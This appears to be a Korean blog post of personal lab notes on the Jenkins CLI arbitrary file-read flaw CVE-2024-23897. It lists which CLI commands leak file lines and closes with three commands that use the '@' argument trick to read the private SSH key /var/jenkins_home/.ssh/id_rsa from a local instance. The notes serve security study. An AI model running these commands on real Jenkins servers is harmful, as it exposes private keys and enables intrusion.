본문 바로가기

카테고리 없음

Jenkins CLI (CVE-2024-23897)-2

  • 실습 전체 정리 

CVE-2024-23897은 Args4j 라이브러에 있는 코드에 "@" 의 해당 문자열의 맨 앞에 포함 시켜서 CLI 에서 Authenticated oput을  -auth으로 스위치 시켜서  민감한 파일 정보를 읽을 수 있다. 해당"@"을 매개변수로 넣으면 아래에 설명한 사진 처럼 CLI상에 표출이 된다.
 
 
공격 벡터는 Unauthenticated Users (비인가 사용자) / Authenticated Users (인가된 사용자)으로 나누어서 커맨드 명령어를 정리를 할 수 있다.

CommandDetails
help1줄 읽기
who-am-i1줄 읽기
restart1줄 읽기
shutdown1줄 읽기
enable-job2줄 읽기

 
위는 Table 1. Alternative attack vector for unauthenticated users
 

add-job-to-viewView에 Job추가
buildJob 빌드 실행
cancel-quite-down조용모드해제
clear-queue빌드 대기열 삭제
connect-node노드 재연결
console빌드 로그조회
copy-jobjob복사
create-credentials-by-xml자격 증명 추가
create-credentials-domain-by-xml자격 증명 도메인 추가
Authenticated Users (인가된 사용자 사용 명령어)

 
 

  • 아래에 오늘 PoC 실습 결과 및 커먼드 결과 화면
connect-node 출력화면

 

reload-job/PoC 결과

 

version명령어
who-am-i

 

enable-job으로

 
 
 

  • 다음 학습 내용은 SSH 키 파일을 찾는 것을 명령어로 진행을 해볼 것이고 안된다면 RCE 실습을 해볼 예정

 아래의 명령어들은 SSH같은 민감한 정보를 CLI 상에서 가져 올 수 있는지 다음 시간에 확인을 할 예정이다.

java -jar .\jenkins-cli.jar -s http://localhost:8080/ -auth ID:PW reload-job "@/var/jenkins_home/.ssh/id_rsa"

 

java -jar .\jenkins-cli.jar -s http://localhost:8080/ -auth ID:PW enable-job "@/var/jenkins_home/.ssh/id_rsa"

 

java -jar .\jenkins-cli.jar -s http://localhost:8080/ -auth ID:PW help "@/var/jenkins_home/.ssh/id_rsa"